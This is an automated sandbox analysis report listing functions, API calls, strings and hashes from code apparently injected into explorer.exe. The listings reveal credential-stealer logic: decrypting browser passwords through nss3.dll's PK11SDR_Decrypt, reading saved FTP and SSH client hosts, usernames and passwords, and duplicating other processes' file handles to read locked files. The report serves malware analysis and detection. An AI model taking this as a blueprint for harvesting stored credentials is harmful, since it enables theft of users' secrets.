Part of subcall function 02751011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751027

Part of subcall function 027519E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751A1E
Part of subcall function 027519E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 02751A3C
Part of subcall function 027519E5: RegQueryValueExW.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 02751A75
Part of subcall function 027519E5: RegCloseKey.KERNEL32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 02751B40

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: 1c1dd1d0e0f46b0970c786d5d7f381068317c9f26e116cd2b970042b6b2ddd80
Instruction ID: b5df2ba60f480ff833ab296bc577deada3aa238c5decad8f0e4d544991030406
Opcode Fuzzy Hash: 1c1dd1d0e0f46b0970c786d5d7f381068317c9f26e116cd2b970042b6b2ddd80
Instruction Fuzzy Hash: B5F0B426B40AAC17D612692ACC98F67B74FCBC12A73974129FC1DA3241EE62AC015664

Function 0275A33B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0275A35F

Strings

winSeekFile, xrefs: 0275A381

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile
API String ID: 973152223-3168307952
Opcode ID: d0cc58a5c2200997027a21a4533b593a12fcaa661148862845cc260693df2447
Instruction ID: 617b23b12c47ccd62d69c4724c3611148c3153e72d111ce08df5533b0cdb492a
Opcode Fuzzy Hash: d0cc58a5c2200997027a21a4533b593a12fcaa661148862845cc260693df2447
Instruction Fuzzy Hash: 1AF0B430A14204AFE7129F74DC00EBBBBAAEB45321B50C779FC65D62D0DB70DD1096A0

Function 02759EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(04C60000,00000000,?), ref: 02759EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 02759ECD

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: 26b833c7da55f6b840b1356eed0faa64db266364c8452eecef5f7ec02d368a4c
Instruction ID: 3808ecc049af5adc8014c2eaa29c21a3386119afd933facd64b09bb850d1a33a
Opcode Fuzzy Hash: 26b833c7da55f6b840b1356eed0faa64db266364c8452eecef5f7ec02d368a4c
Instruction Fuzzy Hash: 61E0C273A84220BBD2132684AC14F2FFB69DBC6F20F058815FE05A6240C270A82287B6

Function 02759EE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(04C60000,00000000,?), ref: 02759EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 02759F0E

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: c64284a9fd136fb0cf5913fbe95090736d5b17ea9512000da96d32d284e527a9
Instruction ID: 6222a20f986d98b421652659b60670dbfd53852c96c1f0953e01d2eecff65896
Opcode Fuzzy Hash: c64284a9fd136fb0cf5913fbe95090736d5b17ea9512000da96d32d284e527a9
Instruction Fuzzy Hash: 9AD01273548201F7D6025A54DC15F2FFB799B96B00F444819FA1595095D3B06061ABB5

Function 02751B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,02752893,00000000,00000000,00000000,?), ref: 02751B82
CloseHandle.KERNEL32(00000000), ref: 02751B8F

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 2336bdc0fd7822eb3a980d111c6d1d6ae461eef26ee5a9ac3ee8c0382889f5d6
Instruction ID: 8a12abdf6043bca9a813dc0395ddfda5db317487093b3f0bfdfa279fb001dd0c
Opcode Fuzzy Hash: 2336bdc0fd7822eb3a980d111c6d1d6ae461eef26ee5a9ac3ee8c0382889f5d6
Instruction Fuzzy Hash: 2ED05B71653A3062D97516397C0DFE7AF1CDF435BAB484A14F81DD50C0E36489D781E0

Function 02751011 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02751162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0275116F

GetProcessHeap.KERNEL32(00000000,00000000,?,02751A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2), ref: 02751020
RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751027

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: bd42d260c2b88de9d49a8ccf553d10ca3064d87a065ed646ec7faeb384370a55
Instruction ID: 64efc70736405f23b707598e3d47bb8925fdedc7e98492616949b0cc730649b8
Opcode Fuzzy Hash: bd42d260c2b88de9d49a8ccf553d10ca3064d87a065ed646ec7faeb384370a55
Instruction Fuzzy Hash: 14C04C71D4527056CD6027A4B90CBCA6F1DDF89277F494881B90AA7185CAB6885186A0

Function 02751000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: cb6c29a6a2a03ec6b674eb53d300dd142b0509fd5759fe6821104598c1c669f0
Instruction ID: e3a85956634a2a90017c169d36d0cf41ae616b83f7e44ccac076308a41ca43a0
Opcode Fuzzy Hash: cb6c29a6a2a03ec6b674eb53d300dd142b0509fd5759fe6821104598c1c669f0
Instruction Fuzzy Hash: 8DA002B5D901045BDD4457A4DA0DA1A3D1CF7C4712F148944715686081D97454148721

Function 027512A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 027512B5

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: ca2aeefa75c0287ededb453615f5d72916c6f0f1d6ff947d587cf8c82d3bf479
Instruction ID: fdf87fa5490d98798fbc4089ada11ad3367b28f77ec8a72ba1fa4a3afd3965ea
Opcode Fuzzy Hash: ca2aeefa75c0287ededb453615f5d72916c6f0f1d6ff947d587cf8c82d3bf479
Instruction Fuzzy Hash: A11125B5F01219AFDB10DFA8E884ABFBBBCEB48211B048429FD49E3240D770D900CB60

Function 02751B9D Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00000000,02752C8F,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 02751BAA

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9870c40de46f0bc0ffa7d582ddaa423b981e3cad6f09215ab01b58ad84cbe904
Instruction ID: 5ca12d835557ebcf2ea77bbf68a2413104f2f897b3fdec4ac53594cd1ae80ed7
Opcode Fuzzy Hash: 9870c40de46f0bc0ffa7d582ddaa423b981e3cad6f09215ab01b58ad84cbe904
Instruction Fuzzy Hash: F7D0A933E02832828A64563C3808A92E2806A4057E39A07B4FC2AF30C0E368CC8282C0

Function 02751677 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 02751684

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: a1c8798e5c564a21bb05df6ecdf8341008223bd68a12d37da6238fff50187630
Instruction ID: 471c046953e4042467477eeb72f1c570410824e9a5230cd2afa69c7d29b2569a
Opcode Fuzzy Hash: a1c8798e5c564a21bb05df6ecdf8341008223bd68a12d37da6238fff50187630
Instruction Fuzzy Hash: 27C08C31560231EFEB301A308C09B8676D8EF09BB3F0A0D29E4C5DD0C0E6F408C0CA90

Function 0275104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000040,0275158A), ref: 02751056

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 606b52829f015f1366746f68aadf3e01504631893eb28b85f014c5f836ad7cf6
Instruction ID: 3aaa514193f8c175e3bab3b12ddc75f4d96b4a1eccfb16f54197e0f16d68302b
Opcode Fuzzy Hash: 606b52829f015f1366746f68aadf3e01504631893eb28b85f014c5f836ad7cf6
Instruction Fuzzy Hash: D5A002F0BD57007AFD695762AE1FF26293C9780F12F144644B30D7C0C055F47550892D

Function 0275105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,02754A5B,?,?,00000000,?,?,?,?,02754B66,?), ref: 02751065

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c67c4e13e641f7aa4d68bfe988c8288f795e0814e8487b39d07904d14dc881d2
Instruction ID: 2123a57cf4cee8c595e497d613daa3d5d6a15ef8c0247a29904073925ba58b4c
Opcode Fuzzy Hash: c67c4e13e641f7aa4d68bfe988c8288f795e0814e8487b39d07904d14dc881d2
Instruction Fuzzy Hash: 87A002B0ED070066EDB457209D0EF052A18A780B11F2489447251A90C159B5E0548A18

Non-executed Functions

Function 0275349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00000000,?,00000000), ref: 027534C0

Part of subcall function 027533C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 02753401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,027537A8), ref: 027534E9

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 0275351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 02753541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 02753586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 0275358F
lstrcmpiW.KERNEL32(00000000,File), ref: 027535B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 027535DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 027535F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 02753606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0275361E
GetFileSize.KERNEL32(?,00000000), ref: 02753631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 02753658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0275366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 02753681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 027536AD
CloseHandle.KERNEL32(?), ref: 027536C0
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,027537A8), ref: 027536F5

Part of subcall function 02751C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 02751CC0
Part of subcall function 02751C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 02751CDA
Part of subcall function 02751C9F: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 02751CE6

CloseHandle.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,027537A8), ref: 02753707

Strings

File, xrefs: 027535B0

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: 79b44400c3221957b2e800844e7033d3b202113bdac8c51b3f78b97bc117e75b
Instruction ID: 448d308be16d556d318f87ed39ce27eab9b9019b254a9953a63ea0d3bfbbbe07
Opcode Fuzzy Hash: 79b44400c3221957b2e800844e7033d3b202113bdac8c51b3f78b97bc117e75b
Instruction Fuzzy Hash: 81619F70A44311AFDB119F20CC88F2BBBE9EF847A5F04492CFD46A62A0DBB5D9548F51

Function 027A4438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL(localhost,00000007,00000009,00000002,?,00000000,000001D8,?,00000000), ref: 027A4502
memcmp.NTDLL(00000000,?,?,00000002,?,00000000,000001D8,?,00000000), ref: 027A475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 027A4803

Strings

invalid uri authority: %.*s, xrefs: 027A4513
access, xrefs: 027A4725
mode, xrefs: 027A4712
%s mode not allowed: %s, xrefs: 027A47D0
cache, xrefs: 027A46FA
localhost, xrefs: 027A44FD
file, xrefs: 027A4474
no such %s mode: %s, xrefs: 027A4784
cach, xrefs: 027A46DC
no such vfs: %s, xrefs: 027A482F

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: bc17aa7b42fdac72c92bd5d104c2c36261e965e27386fce58d328d03a647acd6
Instruction ID: ef5929a2f1edc2b3d245a6c44a5ad52ae9241d49bcf3fb96edc1090622586f38
Opcode Fuzzy Hash: bc17aa7b42fdac72c92bd5d104c2c36261e965e27386fce58d328d03a647acd6
Instruction Fuzzy Hash: F9C1F171A083929BDB35CF2884B477BB7E2AFC5338F04062EE8D697241D7A6D445CB42

Function 02775F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 02756AAA: memset.NTDLL ref: 02756AC5

memset.NTDLL ref: 02775F53

Strings

cannot open %s column for writing, xrefs: 02776255
indexed, xrefs: 027760E8
cannot open virtual table: %s, xrefs: 02775FAA
foreign key, xrefs: 027760A3
cannot open table without rowid: %s, xrefs: 02775FCF
no such column: "%s", xrefs: 02776271
cannot open view: %s, xrefs: 02775FF3

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: 9fc1b8364bd1eda483a326e9c7ef932992c3cad32f76cd16e36a4edc2bd915d7
Instruction ID: a64f52fdff1c5339fc5e9511beb5240e6237ba6252f8a019e5411bf6409d1827
Opcode Fuzzy Hash: 9fc1b8364bd1eda483a326e9c7ef932992c3cad32f76cd16e36a4edc2bd915d7
Instruction Fuzzy Hash: 5AC19D70A08B029FCB15DF25C494A2BB7E6BFC8714F04892DF89597245EB31E952CF92

Function 02754440 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289stringcommemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(027A62B0,00000000,00000001,027A62A0,?), ref: 0275445F
SysAllocString.OLEAUT32(?), ref: 027544AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 0275456E
lstrcmpiW.KERNEL32(Servers,?), ref: 0275457D
lstrcmpiW.KERNEL32(Settings,?), ref: 0275458C

Part of subcall function 027511E1: lstrlenW.KERNEL32(?,74DEF360,00000000,?,00000000,?,027546E3), ref: 027511ED
Part of subcall function 027511E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0275120F
Part of subcall function 027511E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 02751231

lstrcmpiW.KERNEL32(Server,?), ref: 027545BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 027545CD
lstrcmpiW.KERNEL32(Host,?), ref: 02754657
lstrcmpiW.KERNEL32(Port,?), ref: 02754679
lstrcmpiW.KERNEL32(User,?), ref: 0275469F
lstrcmpiW.KERNEL32(Pass,?), ref: 027546C5
wsprintfW.USER32 ref: 0275471E

Strings

RecentServers, xrefs: 02754569
Settings, xrefs: 02754587
User, xrefs: 0275469A
Server, xrefs: 027545B9
Host, xrefs: 02754652
Servers, xrefs: 02754578
Pass, xrefs: 027546C0
Port, xrefs: 02754674
%s:%s, xrefs: 02754718
LastServer, xrefs: 027545C8

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$AllocCreateInstancelstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 2230072276-1234691226
Opcode ID: 7af4061f37b4626563e72175882b5c37bc1470b7f1c640ba0523b179e66b7f2e
Instruction ID: d7096533367db9e29c03d99d08192efbd9febc6116427f93a020df4ed8a251c8
Opcode Fuzzy Hash: 7af4061f37b4626563e72175882b5c37bc1470b7f1c640ba0523b179e66b7f2e
Instruction Fuzzy Hash: C6B1F771204312AFD700DF64C894E6ABBF9EFC9759F00895CFA598B160DB71E846CB52

Function 027524B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

Part of subcall function 02751090: lstrlenW.KERNEL32(?,?,00000000,027517E5), ref: 02751097
Part of subcall function 02751090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 027510A8

Part of subcall function 027519B4: lstrlenW.KERNEL32(00000000,00000000,00000000,02752CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 027519C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 02752503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 0275250A
LoadLibraryW.KERNEL32(00000000), ref: 02752563
SetCurrentDirectoryW.KERNEL32(?), ref: 02752570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 02752591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 0275259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 027525AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 027525B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 027525C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 027525D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 027525DF

Part of subcall function 0275190B: lstrlen.KERNEL32(?,?,?,?,00000000,02752783), ref: 0275192B
Part of subcall function 0275190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,02752783), ref: 02751930
Part of subcall function 0275190B: lstrcat.KERNEL32(00000000,?), ref: 02751946
Part of subcall function 0275190B: lstrcat.KERNEL32(00000000,00000000), ref: 0275194A

Strings

PK11_GetInternalKeySlot, xrefs: 027525AD
SECITEM_FreeItem, xrefs: 027525A0
PK11SDR_Decrypt, xrefs: 027525C7
NSS_Init, xrefs: 0275258B
sql:, xrefs: 0275262B
PK11_Authenticate, xrefs: 027525BA
nss3.dll, xrefs: 02752510
PK11_FreeSlot, xrefs: 027525D4
NSS_Shutdown, xrefs: 02752593

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: 86ffe3480d4e7b072e72aadcf369c886ffdac472fbd4a3508bd40c787149e0f8
Instruction ID: e772a9e6bbf7be4294b35a26eb7287527050a02d6407f9d84fec61b9f3651c9f
Opcode Fuzzy Hash: 86ffe3480d4e7b072e72aadcf369c886ffdac472fbd4a3508bd40c787149e0f8
Instruction Fuzzy Hash: 55410731E413618BDB15AF3558ACA2FBBDADFC5651744452EEC49A3241DBB48C01CF91

Function 02755E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 02755BF5: memset.NTDLL ref: 02755C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 027560E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 027560EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 02756113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 0275618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 027561B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 027561C1

Strings

%04d, xrefs: 02756016
%03d, xrefs: 027561F3
W, xrefs: 02756193
%lld, xrefs: 02756122
%02d, xrefs: 02756039, 027561D3
%.16g, xrefs: 02756077
%06.3f, xrefs: 02756229

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 2c4ce2acafae57abd3fabe19e3c55f067538505d8eb4e7891d4984004e04002b
Instruction ID: 8cd19b252f91b5e55a721c25da0920ac9ef5544046a12e892d0f874fa89b050e
Opcode Fuzzy Hash: 2c4ce2acafae57abd3fabe19e3c55f067538505d8eb4e7891d4984004e04002b
Instruction Fuzzy Hash: 95B180B19083619BD7269E24CC88B3BFFD9EF81304FD40649FC86A61D0E7E1C551CA91

Function 0276D2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL(027A637A,BINARY,00000007), ref: 0276D324

Strings

k(%d, xrefs: 0276D2EE
%lld, xrefs: 0276D3CA
program, xrefs: 0276D46A
(blob), xrefs: 0276D416
,%d, xrefs: 0276D444
%s(%d), xrefs: 0276D3AB
(%.20s), xrefs: 0276D38A
,%s%s, xrefs: 0276D34E
%.16g, xrefs: 0276D3E5
BINARY, xrefs: 0276D31E
vtab:%p, xrefs: 0276D423
NULL, xrefs: 0276D40F

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: 281471e501a553e70773be24996ef10ea5fd6d5d5e6ae6f5a43ea34acf8e06fd
Instruction ID: 4d478d8deb07c8f9acfce7944a9b77061afe1b6df68f0340a3e6bcb1f3e7e6f3
Opcode Fuzzy Hash: 281471e501a553e70773be24996ef10ea5fd6d5d5e6ae6f5a43ea34acf8e06fd
Instruction Fuzzy Hash: A9510471A14310EBE729CF65CC48B7BBBE7AB85210F090969FC569B240E370EC05CB92

Function 027548B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 027519E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751A1E
Part of subcall function 027519E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 02751A3C
Part of subcall function 027519E5: RegQueryValueExW.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 02751A75
Part of subcall function 027519E5: RegCloseKey.KERNEL32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751A98

Part of subcall function 0275482C: lstrlenW.KERNEL32(?), ref: 02754845
Part of subcall function 0275482C: lstrlenW.KERNEL32(?), ref: 0275488F
Part of subcall function 0275482C: lstrlenW.KERNEL32(?), ref: 02754897

wsprintfW.USER32 ref: 027549A7
wsprintfW.USER32 ref: 027549B9

Strings

Password, xrefs: 027548E4
UserName, xrefs: 027548D2
RemoteDirectory, xrefs: 027548F8
%s:%u, xrefs: 02754971, 027549B7
%s:%u/%s, xrefs: 02754982, 027549A5
HostName, xrefs: 027548C4

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
